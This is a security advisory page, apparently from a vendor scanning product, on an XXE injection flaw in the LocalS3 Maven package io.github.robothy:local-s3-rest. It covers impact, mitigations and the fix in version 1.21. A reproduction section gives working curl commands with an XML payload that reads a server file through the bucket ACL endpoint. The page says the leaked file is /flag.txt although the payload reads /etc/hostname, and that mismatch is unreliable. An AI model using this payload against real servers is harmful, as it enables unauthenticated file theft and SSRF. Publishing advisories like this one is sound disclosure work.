How severe is GHSA-2466-4485-4pxj?

No CVSS score has been assigned to GHSA-2466-4485-4pxj yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-2466-4485-4pxj?

GHSA-2466-4485-4pxj affects the following packages: io.github.robothy:local-s3-rest (Maven). Ecosystems affected: Maven.

How do I fix GHSA-2466-4485-4pxj?

Update io.github.robothy:local-s3-rest to 1.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2466-4485-4pxj is resolved across your whole dependency graph.

How do I detect GHSA-2466-4485-4pxj in my Maven dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.robothy:local-s3-rest. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-2466-4485-4pxj if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-2466-4485-4pxj?

O3 pinpoints whether GHSA-2466-4485-4pxj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-2466-4485-4pxj actively exploited in the wild?

No public exploit code has been indexed for GHSA-2466-4485-4pxj yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-2466-4485-4pxj published, and has it been updated?

GHSA-2466-4485-4pxj was published on March 10, 2025 and was last updated on March 10, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

☕ Maven

GHSA-2466-4485-4pxj

LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection

Published

Mar 10, 2025

Updated

Mar 10, 2025

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

☕io.github.robothy:local-s3-rest

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.

The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.

This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.

Steps to Reproduce

Create a test bucket using PUT request to http://[server]/[bucket-name]
```
curl -X PUT "http://app/xxe-test-bucket2"```
```

Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:

curl -X PUT "http://app/xxe-test-bucket2?acl" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE AccessControlPolicy [
    <!ENTITY xxe SYSTEM "file:///etc/hostname" >
]>
<AccessControlPolicy>
    <Owner>
        <ID>&xxe;</ID>
        <DisplayName>test</DisplayName>
    </Owner>
    <AccessControlList>
        <Grant>
            <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
                <ID>test</ID>
                <DisplayName>test</DisplayName>
            </Grantee>
            <Permission>FULL_CONTROL</Permission>
        </Grant>
    </AccessControlList>
</AccessControlPolicy>'

Send a GET request to http://[server]/[bucket-name]?acl to retrieve the bucket ACL
```
curl "http://app/xxe-test-bucket2?acl"
```

After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.

Mitigations

Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
Disable DOCTYPE declarations in the XML parser configuration
Implement XML input validation and sanitization before processing
Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary

Impact

The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
☕Maven	`io.github.robothy:local-s3-rest`	all versions	1.21

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.robothy:local-s3-rest. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update io.github.robothy:local-s3-rest to 1.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2466-4485-4pxj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2466-4485-4pxj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-2466-4485-4pxj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem. The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the app

O3 Security · Impact-Aware SCA

Is GHSA-2466-4485-4pxj in your dependencies?

O3 detects GHSA-2466-4485-4pxj across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works

GHSA-2466-4485-4pxj

Blast Radius

Description

Description

Steps to Reproduce

Mitigations

Impact

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is GHSA-2466-4485-4pxj in your dependencies?